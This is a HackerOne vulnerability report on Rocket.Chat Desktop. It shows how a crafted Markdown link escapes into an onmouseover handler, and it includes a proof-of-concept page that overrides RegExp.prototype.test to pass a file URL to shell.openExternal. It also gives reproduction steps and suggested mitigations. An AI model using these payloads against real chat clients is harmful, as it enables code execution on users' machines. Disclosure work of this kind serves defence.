Rocket.Chat: Remote Code Execution in Rocket.Chat Desktop

ID H1:276031
Type hackerone
Reporter mattaustin
Modified 2018-09-18T22:00:43


Summary: The Markdown parser can be tricked into allowing arbitrary Javascript leading to "remote code execution".

Description: By combining the "link" and inline code block we can trick the parser into breaking out of the current HTML attribute.

This allows us to control other attributes of the tag and trigger javascript events. [ hax ](http://hax//onmouseover=location='';"`hax`zzz) becomes html <a href="<a href=" http:="" hax="" onmouseover="location='';""" target="_blank" rel="noopener noreferrer">

This is a simple redirect to:

From this point the goal is to get the application to call shell.openExternal(href); with a URL we control. Thats because: > "open 'file://localhost/Volumes/Macintosh HD/foo.txt'" opens the document in the default application for its type (as determined by LaunchSer- vices).

Note: For this demo I point to file:///Applications/ however if you point to a public NFS or SMB server on windows this executable can be controlled by the attacker. (example at: file:///net/

In all links are hooked and some patter matching is used to check before firing them off to shell.openExternal(href);

Normally preload javascript is an "isolated scope" in this case however the code is directly attached to the user controlled DOM as the "window.onload" handler. This means we can overload some global objects and methods including the RegExp.prototype.test method. Now we can bypass the file:\/\/ check send our application path to openExternal.

html <!DOCTYPE html> <html> <head> <script> RegExp.prototype.test = new Proxy(RegExp.prototype.test, { apply: function(target, thisArg, argumentsList) { console.log(thisArg.source); console.log(argumentsList[0]); if((thisArg.source == '^file:\\/\\/.+') && (argumentsList[0] === 'file:///Applications/')){ return false; } return Reflect.apply(target, thisArg, argumentsList) } }); setTimeout(()=>{ a = document.createElement("A") a.href="file:///Applications/" document.body.appendChild(a) }, 3000); </script> </head> <body> <h1>3...2...1...🚀</h1> </body> </html>

Releases Affected:

  • >= 2.9.0

Steps To Reproduce (from initial installation to vulnerability):

  1. Create a new channel to test in.
  2. Send the following snippet of markdown: [ hax ](http://hax//onmouseover=location='';"`hax`zzz)
  3. Move your mouse over the link you just send and

Supporting Material/References:


Suggested mitigation

  • The markdown parser needs a little love to prevent the initial xss.
  • I believe you should be able to use something like window.addEventListener("load", .. to execute the checks in the proper scope.